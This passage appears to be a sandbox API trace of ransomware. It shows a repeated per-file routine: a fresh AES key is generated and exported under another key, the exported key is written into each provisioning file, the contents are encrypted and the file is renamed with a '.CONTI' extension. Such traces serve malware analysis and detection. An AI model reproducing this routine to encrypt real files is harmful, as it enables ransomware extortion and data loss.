	[0108.338] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x28b, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x290) returned 1
	[0108.338] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.338] WriteFile (in: hFile=0x3bc, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x290, lpOverlapped=0x0) returned 1
	[0108.338] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.338] WriteFile (in: hFile=0x3bc, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0108.338] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.338] CloseHandle (hObject=0x3bc) returned 1
	[0108.473] GetProcessHeap () returned 0x1720000
	[0108.473] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x1805408
	[0108.473] lstrcpyW (in: lpString1=0x1805408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml"
	[0108.473] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.473] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.577] GetProcessHeap () returned 0x1720000
	[0108.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1805408 | out: hHeap=0x1720000) returned 1
	[0108.577] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0108.577] GetProcessHeap () returned 0x1720000
	[0108.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588058 | out: hHeap=0x1720000) returned 1
	[0108.578] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0108.968] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x6512098 | out: phKey=0x6512098*=0x17c7ff0) returned 1
	[0108.968] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x651209c, pdwDataLen=0x59bf7d4 | out: pbData=0x651209c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0108.969] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0110.166] GetLastError () returned 0x0
	[0110.166] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=852) returned 1
	[0110.166] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x354
	[0110.166] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.166] SetEndOfFile (hFile=0x3f0) returned 1
	[0110.438] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.438] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.439] WriteFile (in: hFile=0x3f0, lpBuffer=0x651209c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x651209c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.452] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.452] ReadFile (in: hFile=0x3f0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x354, lpOverlapped=0x0) returned 1
	[0110.452] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x354, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x360) returned 1
	[0110.452] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.452] WriteFile (in: hFile=0x3f0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x360, lpOverlapped=0x0) returned 1
	[0110.452] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.453] WriteFile (in: hFile=0x3f0, lpBuffer=0x6512090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x6512090*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0110.453] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.453] CloseHandle (hObject=0x3f0) returned 1
	[0110.453] GetProcessHeap () returned 0x1720000
	[0110.453] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.970] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml"
	[0110.970] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.970] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.970] GetProcessHeap () returned 0x1720000
	[0110.970] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.970] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0110.970] GetProcessHeap () returned 0x1720000
	[0110.970] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588fb8 | out: hHeap=0x1720000) returned 1
	[0110.971] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0110.971] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65715f8 | out: phKey=0x65715f8*=0x17c82b0) returned 1
	[0110.971] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65715fc, pdwDataLen=0x59bf7d4 | out: pbData=0x65715fc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0110.971] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.971] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0110.972] GetLastError () returned 0x0
	[0110.972] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=798) returned 1
	[0110.972] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x31e
	[0110.972] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.972] SetEndOfFile (hFile=0x3e8) returned 1
	[0110.972] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.972] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.972] WriteFile (in: hFile=0x3e8, lpBuffer=0x65715fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65715fc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.310] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.310] ReadFile (in: hFile=0x3e8, lpBuffer=0x11200000, nNumberOfBytesToRead=0x31e, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x31e, lpOverlapped=0x0) returned 1
	[0111.310] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x31e, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x320) returned 1
	[0111.310] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.310] WriteFile (in: hFile=0x3e8, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x320, lpOverlapped=0x0) returned 1
	[0111.310] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.310] WriteFile (in: hFile=0x3e8, lpBuffer=0x65715f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65715f0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0111.310] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.310] CloseHandle (hObject=0x3e8) returned 1
	[0111.360] GetProcessHeap () returned 0x1720000
	[0111.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.307] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml"
	[0112.307] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.307] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\381__connections_cellular_vip mobile rs (serbia (republic of))_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.308] GetProcessHeap () returned 0x1720000
	[0112.308] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.308] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0112.308] GetProcessHeap () returned 0x1720000
	[0112.308] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17deb68 | out: hHeap=0x1720000) returned 1
	[0112.308] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0112.308] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x18140a8 | out: phKey=0x18140a8*=0x17c82b0) returned 1
	[0112.308] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x18140ac, pdwDataLen=0x59bf7d4 | out: pbData=0x18140ac*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0112.309] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0112.309] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0112.309] GetLastError () returned 0x0
	[0112.309] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=461) returned 1
	[0112.309] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd
	[0112.309] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.309] SetEndOfFile (hFile=0x3f8) returned 1
	[0112.313] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.313] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.313] WriteFile (in: hFile=0x3f8, lpBuffer=0x18140ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x18140ac*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.316] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.316] ReadFile (in: hFile=0x3f8, lpBuffer=0x11200000, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x1cd, lpOverlapped=0x0) returned 1
	[0112.316] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1cd, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1d0) returned 1
	[0112.316] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.316] WriteFile (in: hFile=0x3f8, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x1d0, lpOverlapped=0x0) returned 1
	[0112.316] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.316] WriteFile (in: hFile=0x3f8, lpBuffer=0x18140a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x18140a0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0112.316] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.316] CloseHandle (hObject=0x3f8) returned 1
	[0112.316] GetProcessHeap () returned 0x1720000
	[0112.316] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.316] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0112.317] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0112.317] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\522__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0112.317] GetProcessHeap () returned 0x1720000
	[0112.317] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.317] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0112.317] GetProcessHeap () returned 0x1720000
	[0112.317] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18098a0 | out: hHeap=0x1720000) returned 1
	[0112.317] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0112.317] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x18120b8 | out: phKey=0x18120b8*=0x17c7ef0) returned 1
